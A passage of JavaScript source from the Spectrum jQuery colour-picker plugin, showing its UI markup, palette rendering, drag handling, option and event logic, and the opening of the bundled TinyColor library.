        var gradientFix = "";
        if (IE) {
            for (var i = 1; i <= 6; i++) {
                gradientFix += "<div class='sp-" + i + "'></div>";
            }
        }

        return [
            "<div class='sp-container sp-hidden'>",
                "<div class='sp-palette-container'>",
                    "<div class='sp-palette sp-thumb sp-cf'></div>",
                    "<div class='sp-palette-button-container sp-cf'>",
                        "<button type='button' class='sp-palette-toggle'></button>",
                    "</div>",
                "</div>",
                "<div class='sp-picker-container'>",
                    "<div class='sp-top sp-cf'>",
                        "<div class='sp-fill'></div>",
                        "<div class='sp-top-inner'>",
                            "<div class='sp-color'>",
                                "<div class='sp-sat'>",
                                    "<div class='sp-val'>",
                                        "<div class='sp-dragger'></div>",
                                    "</div>",
                                "</div>",
                            "</div>",
                            "<div class='sp-clear sp-clear-display'>",
                            "</div>",
                            "<div class='sp-hue'>",
                                "<div class='sp-slider'></div>",
                                gradientFix,
                            "</div>",
                        "</div>",
                        "<div class='sp-alpha'><div class='sp-alpha-inner'><div class='sp-alpha-handle'></div></div></div>",
                    "</div>",
                    "<div class='sp-input-container sp-cf'>",
                        "<input class='sp-input' type='text' spellcheck='false'  />",
                    "</div>",
                    "<div class='sp-initial sp-thumb sp-cf'></div>",
                    "<div class='sp-button-container sp-cf'>",
                        "<button class='sp-cancel' href='#'></button>",
                        "<button type='button' class='sp-choose'></button>",
                    "</div>",
                "</div>",
            "</div>"
        ].join("");
    })();

    function paletteTemplate (p, color, className, opts) {
        var html = [];
        for (var i = 0; i < p.length; i++) {
            var current = p[i];
            if(current) {
                var tiny = tinycolor(current);
                var c = tiny.toHsl().l < 0.5 ? "sp-thumb-el sp-thumb-dark" : "sp-thumb-el sp-thumb-light";
                c += (tinycolor.equals(color, current)) ? " sp-thumb-active" : "";
                var formattedString = tiny.toString(opts.preferredFormat || "rgb");
                var swatchStyle = rgbaSupport ? ("background-color:" + tiny.toRgbString()) : "filter:" + tiny.toFilter();
                html.push('<span title="' + formattedString + '" data-color="' + tiny.toRgbString() + '" class="' + c + '"><span class="sp-thumb-inner" style="' + swatchStyle + ';"></span></span>');
            } else {
                html.push('<span class="sp-thumb-el sp-clear-display" ><span class="sp-clear-palette-only" style="background-color: transparent;"></span></span>');
            }
        }
        return "<div class='sp-cf " + className + "'>" + html.join('') + "</div>";
    }

    function hideAll() {
        for (var i = 0; i < spectrums.length; i++) {
            if (spectrums[i]) {
                spectrums[i].hide();
            }
        }
    }

    function instanceOptions(o, callbackContext) {
        o.locale = o.locale || window.navigator.language;
        if (o.locale) o.locale = o.locale.split('-')[0].toLowerCase(); // handle locale like "fr-FR"
        if (o.locale != 'en' && $.spectrum.localization[o.locale]) {
            o = $.extend({}, $.spectrum.localization[o.locale], o);
        }
        var opts = $.extend({}, defaultOpts, o);

        opts.callbacks = {
            'move': bind(opts.move, callbackContext),
            'change': bind(opts.change, callbackContext),
            'show': bind(opts.show, callbackContext),
            'hide': bind(opts.hide, callbackContext),
            'beforeShow': bind(opts.beforeShow, callbackContext)
        };

        return opts;
    }

    function spectrum(element, o) {

        var opts = instanceOptions(o, element),
            type = opts.type,
            flat = (type == 'flat'),
            showSelectionPalette = opts.showSelectionPalette,
            localStorageKey = opts.localStorageKey,
            theme = opts.theme,
            callbacks = opts.callbacks,
            resize = throttle(reflow, 10),
            visible = false,
            isDragging = false,
            dragWidth = 0,
            dragHeight = 0,
            dragHelperHeight = 0,
            slideHeight = 0,
            slideWidth = 0,
            alphaWidth = 0,
            alphaSlideHelperWidth = 0,
            slideHelperHeight = 0,
            currentHue = 0,
            currentSaturation = 0,
            currentValue = 0,
            currentAlpha = 1,
            palette = [],
            paletteArray = [],
            paletteLookup = {},
            selectionPalette = opts.selectionPalette.slice(0),
            maxSelectionSize = opts.maxSelectionSize,
            draggingClass = "sp-dragging",
            abortNextInputChange = false,
            shiftMovementDirection = null;

        var doc = element.ownerDocument,
            body = doc.body,
            boundElement = $(element),
            disabled = false,
            container = $(markup, doc).addClass(theme),
            pickerContainer = container.find(".sp-picker-container"),
            dragger = container.find(".sp-color"),
            dragHelper = container.find(".sp-dragger"),
            slider = container.find(".sp-hue"),
            slideHelper = container.find(".sp-slider"),
            alphaSliderInner = container.find(".sp-alpha-inner"),
            alphaSlider = container.find(".sp-alpha"),
            alphaSlideHelper = container.find(".sp-alpha-handle"),
            textInput = container.find(".sp-input"),
            paletteContainer = container.find(".sp-palette"),
            initialColorContainer = container.find(".sp-initial"),
            cancelButton = container.find(".sp-cancel"),
            clearButton = container.find(".sp-clear"),
            chooseButton = container.find(".sp-choose"),
            toggleButton = container.find(".sp-palette-toggle"),
            isInput = boundElement.is("input"),
            isInputTypeColor = isInput && boundElement.attr("type") === "color" && inputTypeColorSupport(),
            shouldReplace = isInput && type == 'color',
            replacer = (shouldReplace) ? $(replaceInput).addClass(theme).addClass(opts.className).addClass(opts.replacerClassName) : $([]),
            offsetElement = (shouldReplace) ? replacer : boundElement,
            previewElement = replacer.find(".sp-preview-inner"),
            initialColor = opts.color || (isInput && boundElement.val()),
            colorOnShow = false,
            currentPreferredFormat = opts.preferredFormat,
            clickoutFiresChange = !opts.showButtons || opts.clickoutFiresChange,
            isEmpty = !initialColor,
            allowEmpty = opts.allowEmpty;

        // Element to be updated with the input color. Populated in initialize method
        var originalInputContainer = null,
            colorizeElement = null,
            colorizeElementInitialColor = null,
            colorizeElementInitialBackground = null;

        //If there is a label for this element, when clicked on, show the colour picker
        var thisId = boundElement.attr('id');
        if(thisId !== undefined && thisId.length > 0) {
            var label = $('label[for="'+thisId+'"]');
            if(label.length) {
                label.on('click', function(e){
                    e.preventDefault();
                    boundElement.spectrum('show');
                    return false;
                });
            }
        }
        
        function applyOptions() {

            if (opts.showPaletteOnly) {
                opts.showPalette = true;
            }

            toggleButton.text(opts.showPaletteOnly ? opts.togglePaletteMoreText : opts.togglePaletteLessText);

            if (opts.palette) {
                palette = opts.palette.slice(0);
                paletteArray = Array.isArray(palette[0]) ? palette : [palette];
                paletteLookup = {};
                for (var i = 0; i < paletteArray.length; i++) {
                    for (var j = 0; j < paletteArray[i].length; j++) {
                        var rgb = tinycolor(paletteArray[i][j]).toRgbString();
                        paletteLookup[rgb] = true;
                    }
                }

                // if showPaletteOnly and didn't set initialcolor
                // set initialcolor to first palette
                if (opts.showPaletteOnly && !initialColor) {
                    initialColor = (palette[0][0] === '') ? palette[0][0] : Object.keys(paletteLookup)[0];
                }
            }

            container.toggleClass("sp-flat", flat);
            container.toggleClass("sp-input-disabled", !opts.showInput);
            container.toggleClass("sp-alpha-enabled", opts.showAlpha);
            container.toggleClass("sp-clear-enabled", allowEmpty);
            container.toggleClass("sp-buttons-disabled", !opts.showButtons);
            container.toggleClass("sp-palette-buttons-disabled", !opts.togglePaletteOnly);
            container.toggleClass("sp-palette-disabled", !opts.showPalette);
            container.toggleClass("sp-palette-only", opts.showPaletteOnly);
            container.toggleClass("sp-initial-disabled", !opts.showInitial);
            container.addClass(opts.className).addClass(opts.containerClassName);

            reflow();
        }

        function initialize() {

            if (IE) {
                container.find("*:not(input)").attr("unselectable", "on");
            }

            applyOptions();

            originalInputContainer = $('<span class="sp-original-input-container"></span>');
            ['margin'].forEach(function(cssProp) {
                originalInputContainer.css(cssProp, boundElement.css(cssProp));
            });
            // inline-flex by default, switching to flex if needed
            if (boundElement.css('display') == 'block') originalInputContainer.css('display', 'flex');

            if (shouldReplace) {
                boundElement.after(replacer).hide();
            } else if (type == 'text') {
                originalInputContainer.addClass('sp-colorize-container');
                boundElement.addClass('spectrum sp-colorize').wrap(originalInputContainer);
            } else if (type == 'component') {
                boundElement.addClass('spectrum').wrap(originalInputContainer);
                var addOn = $(["<div class='sp-colorize-container sp-add-on'>",
                    "<div class='sp-colorize'></div> ",
                "</div>"].join(''));
                addOn.width(boundElement.outerHeight() + 'px')
                     .css('border-radius', boundElement.css('border-radius'))
                     .css('border', boundElement.css('border'));
                boundElement.addClass('with-add-on').before(addOn);
            }

            colorizeElement = boundElement.parent().find('.sp-colorize');
            colorizeElementInitialColor = colorizeElement.css('color');
            colorizeElementInitialBackground = colorizeElement.css('background-color');

            if (!allowEmpty) {
                clearButton.hide();
            }

            if (flat) {
                boundElement.after(container).hide();
            }
            else {

                var appendTo = opts.appendTo === "parent" ? boundElement.parent() : $(opts.appendTo);
                if (appendTo.length !== 1) {
                    appendTo = $("body");
                }

                appendTo.append(container);
            }

            updateSelectionPaletteFromStorage();

            offsetElement.on("click.spectrum touchstart.spectrum", function (e) {
                if (!disabled) {
                    show();
                }

                e.stopPropagation();

                if (!$(e.target).is("input")) {
                    e.preventDefault();
                }
            });

            if(boundElement.is(":disabled") || (opts.disabled === true)) {
                disable();
            }

            // Prevent clicks from bubbling up to document.  This would cause it to be hidden.
            container.on("click", stopPropagation);

            // Handle user typed input
            [textInput, boundElement].forEach(function(input) {
                input.on("change", function() { setFromTextInput(input.val()); });
                input.on("paste", function () {
                    setTimeout(function() { setFromTextInput(input.val()); }, 1);
                });
                input.on("keydown", function (e) { if (e.keyCode == 13) {
                    setFromTextInput($(input).val());
                    if (input == boundElement) hide();
                } });
            });

            cancelButton.text(opts.cancelText);
            cancelButton.on("click.spectrum", function (e) {
                e.stopPropagation();
                e.preventDefault();
                revert();
                hide();
            });

            clearButton.attr("title", opts.clearText);
            clearButton.on("click.spectrum", function (e) {
                e.stopPropagation();
                e.preventDefault();
                isEmpty = true;
                move();

                if(flat) {
                    //for the flat style, this is a change event
                    updateOriginalInput(true);
                }
            });

            chooseButton.text(opts.chooseText);
            chooseButton.on("click.spectrum", function (e) {
                e.stopPropagation();
                e.preventDefault();

                if (IE && textInput.is(":focus")) {
                    textInput.trigger('change');
                }

                if (isValid()) {
                    updateOriginalInput(true);
                    hide();
                }
            });

            toggleButton.text(opts.showPaletteOnly ? opts.togglePaletteMoreText : opts.togglePaletteLessText);
            toggleButton.on("click.spectrum", function (e) {
                e.stopPropagation();
                e.preventDefault();

                opts.showPaletteOnly = !opts.showPaletteOnly;

                // To make sure the Picker area is drawn on the right, next to the
                // Palette area (and not below the palette), first move the Palette
                // to the left to make space for the picker, plus 5px extra.
                // The 'applyOptions' function puts the whole container back into place
                // and takes care of the button-text and the sp-palette-only CSS class.
                if (!opts.showPaletteOnly && !flat) {
                    container.css('left', '-=' + (pickerContainer.outerWidth(true) + 5));
                }
                applyOptions();
            });

            draggable(alphaSlider, function (dragX, dragY, e) {
                currentAlpha = (dragX / alphaWidth);
                isEmpty = false;
                if (e.shiftKey) {
                    currentAlpha = Math.round(currentAlpha * 10) / 10;
                }

                move();
            }, dragStart, dragStop);

            draggable(slider, function (dragX, dragY) {
                currentHue = parseFloat(dragY / slideHeight);
                isEmpty = false;
                if (!opts.showAlpha) {
                    currentAlpha = 1;
                }
                move();
            }, dragStart, dragStop);

            draggable(dragger, function (dragX, dragY, e) {

                // shift+drag should snap the movement to either the x or y axis.
                if (!e.shiftKey) {
                    shiftMovementDirection = null;
                }
                else if (!shiftMovementDirection) {
                    var oldDragX = currentSaturation * dragWidth;
                    var oldDragY = dragHeight - (currentValue * dragHeight);
                    var furtherFromX = Math.abs(dragX - oldDragX) > Math.abs(dragY - oldDragY);

                    shiftMovementDirection = furtherFromX ? "x" : "y";
                }

                var setSaturation = !shiftMovementDirection || shiftMovementDirection === "x";
                var setValue = !shiftMovementDirection || shiftMovementDirection === "y";

                if (setSaturation) {
                    currentSaturation = parseFloat(dragX / dragWidth);
                }
                if (setValue) {
                    currentValue = parseFloat((dragHeight - dragY) / dragHeight);
                }

                isEmpty = false;
                if (!opts.showAlpha) {
                    currentAlpha = 1;
                }

                move();

            }, dragStart, dragStop);

            if (!!initialColor) {
                set(initialColor);

                // In case color was black - update the preview UI and set the format
                // since the set function will not run (default color is black).
                updateUI();
                currentPreferredFormat = tinycolor(initialColor).format || opts.preferredFormat;
                addColorToSelectionPalette(initialColor);
            } else if (initialColor === '') {
                set(initialColor);
                updateUI();
            } else {
                updateUI();
            }

            if (flat) {
                show();
            }

            function paletteElementClick(e) {
                if (e.data && e.data.ignore) {
                    set($(e.target).closest(".sp-thumb-el").data("color"));
                    move();
                }
                else {
                    set($(e.target).closest(".sp-thumb-el").data("color"));
                    move();

                    // If the picker is going to close immediately, a palette selection
                    // is a change.  Otherwise, it's a move only.
                    if (opts.hideAfterPaletteSelect) {
                        updateOriginalInput(true);
                        hide();
                    } else {
                        updateOriginalInput();
                    }
                }

                return false;
            }

            var paletteEvent = IE ? "mousedown.spectrum" : "click.spectrum touchstart.spectrum";
            paletteContainer.on(paletteEvent, ".sp-thumb-el", paletteElementClick);
            initialColorContainer.on(paletteEvent, ".sp-thumb-el:nth-child(1)", { ignore: true }, paletteElementClick);
        }

        function updateSelectionPaletteFromStorage() {

            if (localStorageKey) {
                // Migrate old palettes over to new format.  May want to remove this eventually.
                try {
                    var localStorage = window.localStorage;
                    var oldPalette = localStorage[localStorageKey].split(",#");
                    if (oldPalette.length > 1) {
                        delete localStorage[localStorageKey];
                        $.each(oldPalette, function(i, c) {
                             addColorToSelectionPalette(c);
                        });
                    }
                }
                catch(e) { }

                try {
                    selectionPalette = window.localStorage[localStorageKey].split(";");
                }
                catch (e) { }
            }
        }

        function addColorToSelectionPalette(color) {
            if (showSelectionPalette) {
                var rgb = tinycolor(color).toRgbString();
                if (!paletteLookup[rgb] && $.inArray(rgb, selectionPalette) === -1) {
                    selectionPalette.push(rgb);
                    while(selectionPalette.length > maxSelectionSize) {
                        selectionPalette.shift();
                    }
                }

                if (localStorageKey) {
                    try {
                        window.localStorage[localStorageKey] = selectionPalette.join(";");
                    }
                    catch(e) { }
                }
            }
        }

        function getUniqueSelectionPalette() {
            var unique = [];
            if (opts.showPalette) {
                for (var i = 0; i < selectionPalette.length; i++) {
                    var rgb = tinycolor(selectionPalette[i]).toRgbString();

                    if (!paletteLookup[rgb]) {
                        unique.push(selectionPalette[i]);
                    }
                }
            }

            return unique.reverse().slice(0, opts.maxSelectionSize);
        }

        function drawPalette() {

            var currentColor = get();

            var html = $.map(paletteArray, function (palette, i) {
                return paletteTemplate(palette, currentColor, "sp-palette-row sp-palette-row-" + i, opts);
            });

            updateSelectionPaletteFromStorage();

            if (selectionPalette) {
                html.push(paletteTemplate(getUniqueSelectionPalette(), currentColor, "sp-palette-row sp-palette-row-selection", opts));
            }

            paletteContainer.html(html.join(""));
        }

        function drawInitial() {
            if (opts.showInitial) {
                var initial = colorOnShow;
                var current = get();
                initialColorContainer.html(paletteTemplate([initial, current], current, "sp-palette-row-initial", opts));
            }
        }

        function dragStart() {
            if (dragHeight <= 0 || dragWidth <= 0 || slideHeight <= 0) {
                reflow();
            }
            isDragging = true;
            container.addClass(draggingClass);
            shiftMovementDirection = null;
            boundElement.trigger('dragstart.spectrum', [ get() ]);
        }

        function dragStop() {
            isDragging = false;
            container.removeClass(draggingClass);
            boundElement.trigger('dragstop.spectrum', [ get() ]);
        }

        function setFromTextInput(value) {
            if (abortNextInputChange) { abortNextInputChange = false; return; }
            if ((value === null || value === "") && allowEmpty) {
                set(null);
                move();
                updateOriginalInput();
            }
            else {
                var tiny = tinycolor(value);
                if (tiny.isValid()) {
                    set(tiny);
                    move();
                    updateOriginalInput();
                }
                else {
                    textInput.addClass("sp-validation-error");
                }
            }
        }

        function toggle() {
            if (visible) {
                hide();
            }
            else {
                show();
            }
        }

        function show() {
            // debugger;
            var event = $.Event('beforeShow.spectrum');

            if (visible) {
                reflow();
                return;
            }

            boundElement.trigger(event, [ get() ]);

            if (callbacks.beforeShow(get()) === false || event.isDefaultPrevented()) {
                return;
            }

            hideAll();
            visible = true;

            $(doc).on("keydown.spectrum", onkeydown);
            $(doc).on("click.spectrum", clickout);
            $(window).on("resize.spectrum", resize);
            replacer.addClass("sp-active");
            container.removeClass("sp-hidden");

            reflow();
            updateUI();

            colorOnShow = get();

            drawInitial();
            callbacks.show(colorOnShow);
            boundElement.trigger('show.spectrum', [ colorOnShow ]);
        }

        function onkeydown(e) {
            // Close on ESC
            if (e.keyCode === 27) {
                hide();
            }
        }

        function clickout(e) {
            // Return on right click.
            if (e.button == 2) { return; }

            // If a drag event was happening during the mouseup, don't hide
            // on click.
            if (isDragging) { return; }

            if (clickoutFiresChange) {
                updateOriginalInput(true);
            }
            else {
                revert();
            }
            hide();
        }

        function hide() {
            // Return if hiding is unnecessary
            if (!visible || flat) { return; }
            visible = false;

            $(doc).off("keydown.spectrum", onkeydown);
            $(doc).off("click.spectrum", clickout);
            $(window).off("resize.spectrum", resize);

            replacer.removeClass("sp-active");
            container.addClass("sp-hidden");

            callbacks.hide(get());
            boundElement.trigger('hide.spectrum', [ get() ]);
        }

        function revert() {
            set(colorOnShow, true);
            updateOriginalInput(true);
        }

        function set(color, ignoreFormatChange) {
            if (tinycolor.equals(color, get())) {
                // Update UI just in case a validation error needs
                // to be cleared.
                updateUI();
                return;
            }

            var newColor, newHsv;
            if ((!color || color === undefined) && allowEmpty) {
                isEmpty = true;
            } else {
                isEmpty = false;
                newColor = tinycolor(color);
                newHsv = newColor.toHsv();

                currentHue = (newHsv.h % 360) / 360;
                currentSaturation = newHsv.s;
                currentValue = newHsv.v;
                currentAlpha = newHsv.a;
            }
            updateUI();

            if (newColor && newColor.isValid() && !ignoreFormatChange) {
                currentPreferredFormat = opts.preferredFormat || newColor.getFormat();
            }
        }

        function get(opts) {
            opts = opts || { };

            if (allowEmpty && isEmpty) {
                return null;
            }

            return tinycolor.fromRatio({
                h: currentHue,
                s: currentSaturation,
                v: currentValue,
                a: Math.round(currentAlpha * 1000) / 1000
            }, { format: opts.format || currentPreferredFormat });
        }

        function isValid() {
            return !textInput.hasClass("sp-validation-error");
        }

        function move() {
            updateUI();

            callbacks.move(get());
            boundElement.trigger('move.spectrum', [ get() ]);
        }

        function updateUI() {

            textInput.removeClass("sp-validation-error");

            updateHelperLocations();

            // Update dragger background color (gradients take care of saturation and value).
            var flatColor = tinycolor.fromRatio({ h: currentHue, s: 1, v: 1 });
            dragger.css("background-color", flatColor.toHexString());

            // Get a format that alpha will be included in (hex and names ignore alpha)
            var format = currentPreferredFormat;
            if (currentAlpha < 1 && !(currentAlpha === 0 && format === "name")) {
                if (format === "hex" || format === "hex3" || format === "hex6" || format === "name") {
                    format = "rgb";
                }
            }

            var realColor = get({ format: format }),
                displayColor = '';

             //reset background info for preview element
            previewElement.removeClass("sp-clear-display");
            previewElement.css('background-color', 'transparent');

            if (!realColor && allowEmpty) {
                // Update the replaced elements background with icon indicating no color selection
                previewElement.addClass("sp-clear-display");
            }
            else {
                var realHex = realColor.toHexString(),
                    realRgb = realColor.toRgbString();

                // Update the replaced elements background color (with actual selected color)
                if (rgbaSupport || realColor.alpha === 1) {
                    previewElement.css("background-color", realRgb);
                }
                else {
                    previewElement.css("background-color", "transparent");
                    previewElement.css("filter", realColor.toFilter());
                }

                if (opts.showAlpha) {
                    var rgb = realColor.toRgb();
                    rgb.a = 0;
                    var realAlpha = tinycolor(rgb).toRgbString();
                    var gradient = "linear-gradient(left, " + realAlpha + ", " + realHex + ")";

                    if (IE) {
                        alphaSliderInner.css("filter", tinycolor(realAlpha).toFilter({ gradientType: 1 }, realHex));
                    }
                    else {
                        alphaSliderInner.css("background", "-webkit-" + gradient);
                        alphaSliderInner.css("background", "-moz-" + gradient);
                        alphaSliderInner.css("background", "-ms-" + gradient);
                        // Use current syntax gradient on unprefixed property.
                        alphaSliderInner.css("background",
                            "linear-gradient(to right, " + realAlpha + ", " + realHex + ")");
                    }
                }

                displayColor = realColor.toString(format);
            }

            // Update the text entry input as it changes happen
            if (opts.showInput) {
                textInput.val(displayColor);
            }
            boundElement.val(displayColor);
            if (opts.type == "text" || opts.type == "component") {
                var color = realColor;
                if (color && colorizeElement) {
                    var textColor = (color.isLight() || color.getAlpha() < 0.4) ? 'black' : 'white';
                    colorizeElement.css('background-color', color.toRgbString()).css('color', textColor);
                } else {
                    colorizeElement.css('background-color', colorizeElementInitialBackground)
                                   .css('color', colorizeElementInitialColor);
                }
            }

            if (opts.showPalette) {
                drawPalette();
            }

            drawInitial();
        }

        function updateHelperLocations() {
            var s = currentSaturation;
            var v = currentValue;

            if(allowEmpty && isEmpty) {
                //if selected color is empty, hide the helpers
                alphaSlideHelper.hide();
                slideHelper.hide();
                dragHelper.hide();
            }
            else {
                //make sure helpers are visible
                alphaSlideHelper.show();
                slideHelper.show();
                dragHelper.show();

                // Where to show the little circle in that displays your current selected color
                var dragX = s * dragWidth;
                var dragY = dragHeight - (v * dragHeight);
                dragX = Math.max(
                    -dragHelperHeight,
                    Math.min(dragWidth - dragHelperHeight, dragX - dragHelperHeight)
                );
                dragY = Math.max(
                    -dragHelperHeight,
                    Math.min(dragHeight - dragHelperHeight, dragY - dragHelperHeight)
                );
                dragHelper.css({
                    "top": dragY + "px",
                    "left": dragX + "px"
                });

                var alphaX = currentAlpha * alphaWidth;
                alphaSlideHelper.css({
                    "left": (alphaX - (alphaSlideHelperWidth / 2)) + "px"
                });

                // Where to show the bar that displays your current selected hue
                var slideY = (currentHue) * slideHeight;
                slideHelper.css({
                    "top": (slideY - slideHelperHeight) + "px"
                });
            }
        }

        function updateOriginalInput(fireCallback) {
            var color = get(),
                displayColor = '',
                hasChanged = !tinycolor.equals(color, colorOnShow);

            if (color) {
                displayColor = color.toString(currentPreferredFormat);
                // Update the selection palette with the current color
                addColorToSelectionPalette(color);
            }

            if (fireCallback && hasChanged) {
                callbacks.change(color);
                // we trigger the change event or input, but the input change event is also binded
                // to some spectrum processing, that we do no need
                abortNextInputChange = true;
                boundElement.trigger('change', [ color ]);
            }
        }

        function reflow() {
            if (!visible) {
                return; // Calculations would be useless and wouldn't be reliable anyways
            }
            dragWidth = dragger.width();
            dragHeight = dragger.height();
            dragHelperHeight = dragHelper.height();
            slideWidth = slider.width();
            slideHeight = slider.height();
            slideHelperHeight = slideHelper.height();
            alphaWidth = alphaSlider.width();
            alphaSlideHelperWidth = alphaSlideHelper.width();

            if (!flat) {
                container.css("position", "absolute");
                if (opts.offset) {
                    container.offset(opts.offset);
                } else {
                    container.offset(getOffset(container, offsetElement));
                }
            }

            updateHelperLocations();

            if (opts.showPalette) {
                drawPalette();
            }

            boundElement.trigger('reflow.spectrum');
        }

        function destroy() {
            boundElement.show().removeClass('spectrum with-add-on sp-colorize');
            offsetElement.off("click.spectrum touchstart.spectrum");
            container.remove();
            replacer.remove();
            if (colorizeElement) {
                colorizeElement.css('background-color', colorizeElementInitialBackground)
                               .css('color', colorizeElementInitialColor);
            }
            var originalInputContainer = boundElement.closest('.sp-original-input-container');
            if (originalInputContainer.length > 0) {
                originalInputContainer.after(boundElement).remove();
            }
            spectrums[spect.id] = null;
        }

        function option(optionName, optionValue) {
            if (optionName === undefined) {
                return $.extend({}, opts);
            }
            if (optionValue === undefined) {
                return opts[optionName];
            }

            opts[optionName] = optionValue;

            if (optionName === "preferredFormat") {
                currentPreferredFormat = opts.preferredFormat;
            }
            applyOptions();
        }

        function enable() {
            disabled = false;
            boundElement.attr("disabled", false);
            offsetElement.removeClass("sp-disabled");
        }

        function disable() {
            hide();
            disabled = true;
            boundElement.attr("disabled", true);
            offsetElement.addClass("sp-disabled");
        }

        function setOffset(coord) {
            opts.offset = coord;
            reflow();
        }

        initialize();

        var spect = {
            show: show,
            hide: hide,
            toggle: toggle,
            reflow: reflow,
            option: option,
            enable: enable,
            disable: disable,
            offset: setOffset,
            set: function (c) {
                set(c);
                updateOriginalInput();
            },
            get: get,
            destroy: destroy,
            container: container
        };

        spect.id = spectrums.push(spect) - 1;

        return spect;
    }

    /**
    * checkOffset - get the offset below/above and left/right element depending on screen position
    * Thanks https://github.com/jquery/jquery-ui/blob/master/ui/jquery.ui.datepicker.js
    */
    function getOffset(picker, input) {
        var extraY = 0;
        var dpWidth = picker.outerWidth();
        var dpHeight = picker.outerHeight();
        var inputHeight = input.outerHeight();
        var doc = picker[0].ownerDocument;
        var docElem = doc.documentElement;
        var viewWidth = docElem.clientWidth + $(doc).scrollLeft();
        var viewHeight = docElem.clientHeight + $(doc).scrollTop();
        var offset = input.offset();
        var offsetLeft = offset.left;
        var offsetTop = offset.top;

        offsetTop += inputHeight;

        offsetLeft -=
            Math.min(offsetLeft, (offsetLeft + dpWidth > viewWidth && viewWidth > dpWidth) ?
            Math.abs(offsetLeft + dpWidth - viewWidth) : 0);

        offsetTop -=
            Math.min(offsetTop, ((offsetTop + dpHeight > viewHeight && viewHeight > dpHeight) ?
            Math.abs(dpHeight + inputHeight - extraY) : extraY));

        return {
            top: offsetTop,
            bottom: offset.bottom,
            left: offsetLeft,
            right: offset.right,
            width: offset.width,
            height: offset.height
        };
    }

    /**
    * noop - do nothing
    */
    function noop() {

    }

    /**
    * stopPropagation - makes the code only doing this a little easier to read in line
    */
    function stopPropagation(e) {
        e.stopPropagation();
    }

    /**
    * Create a function bound to a given object
    * Thanks to underscore.js
    */
    function bind(func, obj) {
        var slice = Array.prototype.slice;
        var args = slice.call(arguments, 2);
        return function () {
            return func.apply(obj, args.concat(slice.call(arguments)));
        };
    }

    /**
    * Lightweight drag helper.  Handles containment within the element, so that
    * when dragging, the x is within [0,element.width] and y is within [0,element.height]
    */
    function draggable(element, onmove, onstart, onstop) {
        onmove = onmove || function () { };
        onstart = onstart || function () { };
        onstop = onstop || function () { };
        var doc = document;
        var dragging = false;
        var offset = {};
        var maxHeight = 0;
        var maxWidth = 0;
        var hasTouch = ('ontouchstart' in window);

        var duringDragEvents = {};
        duringDragEvents["selectstart"] = prevent;
        duringDragEvents["dragstart"] = prevent;
        duringDragEvents["touchmove mousemove"] = move;
        duringDragEvents["touchend mouseup"] = stop;

        function prevent(e) {
            if (e.stopPropagation) {
                e.stopPropagation();
            }
            if (e.preventDefault) {
                e.preventDefault();
            }
            e.returnValue = false;
        }

        function move(e) {
            if (dragging) {
                // Mouseup happened outside of window
                if (IE && doc.documentMode < 9 && !e.button) {
                    return stop();
                }

                var t0 = e.originalEvent && e.originalEvent.touches && e.originalEvent.touches[0];
                var pageX = t0 && t0.pageX || e.pageX;
                var pageY = t0 && t0.pageY || e.pageY;

                var dragX = Math.max(0, Math.min(pageX - offset.left, maxWidth));
                var dragY = Math.max(0, Math.min(pageY - offset.top, maxHeight));

                if (hasTouch) {
                    // Stop scrolling in iOS
                    prevent(e);
                }

                onmove.apply(element, [dragX, dragY, e]);
            }
        }

        function start(e) {
            var rightclick = (e.which) ? (e.which == 3) : (e.button == 2);

            if (!rightclick && !dragging) {
                if (onstart.apply(element, arguments) !== false) {
                    dragging = true;
                    maxHeight = $(element).height();
                    maxWidth = $(element).width();
                    offset = $(element).offset();

                    $(doc).on(duringDragEvents);
                    $(doc.body).addClass("sp-dragging");

                    move(e);

                    prevent(e);
                }
            }
        }

        function stop() {
            if (dragging) {
                $(doc).off(duringDragEvents);
                $(doc.body).removeClass("sp-dragging");

                // Wait a tick before notifying observers to allow the click event
                // to fire in Chrome.
                setTimeout(function() {
                    onstop.apply(element, arguments);
                }, 0);
            }
            dragging = false;
        }

        $(element).on("touchstart mousedown", start);
    }

    function throttle(func, wait, debounce) {
        var timeout;
        return function () {
            var context = this, args = arguments;
            var throttler = function () {
                timeout = null;
                func.apply(context, args);
            };
            if (debounce) clearTimeout(timeout);
            if (debounce || !timeout) timeout = setTimeout(throttler, wait);
        };
    }

    function inputTypeColorSupport() {
        return $.fn.spectrum.inputTypeColorSupport();
    }

    /**
    * Define a jQuery plugin
    */
    var dataID = "spectrum.id";
    $.fn.spectrum = function (opts, extra) {

        if (typeof opts == "string") {

            var returnValue = this;
            var args = Array.prototype.slice.call( arguments, 1 );

            this.each(function () {
                var spect = spectrums[$(this).data(dataID)];
                if (spect) {
                    var method = spect[opts];
                    if (!method) {
                        throw new Error( "Spectrum: no such method: '" + opts + "'" );
                    }

                    if (opts == "get") {
                        returnValue = spect.get();
                    }
                    else if (opts == "container") {
                        returnValue = spect.container;
                    }
                    else if (opts == "option") {
                        returnValue = spect.option.apply(spect, args);
                    }
                    else if (opts == "destroy") {
                        spect.destroy();
                        $(this).removeData(dataID);
                    }
                    else {
                        method.apply(spect, args);
                    }
                }
            });

            return returnValue;
        }

        // Initializing a new instance of spectrum
        return this.spectrum("destroy").each(function () {
            var options = $.extend({}, $(this).data(), opts);
            // Infer default type from input params and deprecated options
            if (!$(this).is('input')) options.type = 'noInput';
            else if (options.flat || options.type == "flat") options.type = 'flat';
            else if ($(this).attr('type') == 'color') options.type = 'color';
            else options.type = options.type || 'component';

            var spect = spectrum(this, options);
            $(this).data(dataID, spect.id);
        });
    };

    $.fn.spectrum.load = true;
    $.fn.spectrum.loadOpts = {};
    $.fn.spectrum.draggable = draggable;
    $.fn.spectrum.defaults = defaultOpts;
    $.fn.spectrum.inputTypeColorSupport = function inputTypeColorSupport() {
        if (typeof inputTypeColorSupport._cachedResult === "undefined") {
            var colorInput = $("<input type='color'/>")[0]; // if color element is supported, value will default to not null
            inputTypeColorSupport._cachedResult = colorInput.type === "color" && colorInput.value !== "";
        }
        return inputTypeColorSupport._cachedResult;
    };

    $.spectrum = { };
    $.spectrum.localization = { };
    $.spectrum.palettes = { };

    $.fn.spectrum.processNativeColorInputs = function () {
        var colorInputs = $("input[type=color]");
        if (colorInputs.length && !inputTypeColorSupport()) {
            colorInputs.spectrum({
                preferredFormat: "hex6"
            });
        }
    };

    // TinyColor v1.1.2
    // https://github.com/bgrins/TinyColor
    // Brian Grinstead, MIT License

    (function() {

    var trimLeft = /^[\s,#]+/,
        trimRight = /\s+$/,
        tinyCounter = 0,
        math = Math,
        mathRound = math.round,
        mathMin = math.min,
        mathMax = math.max,
        mathRandom = math.random;

    var tinycolor = function(color, opts) {

        color = (color) ? color : '';
        opts = opts || { };

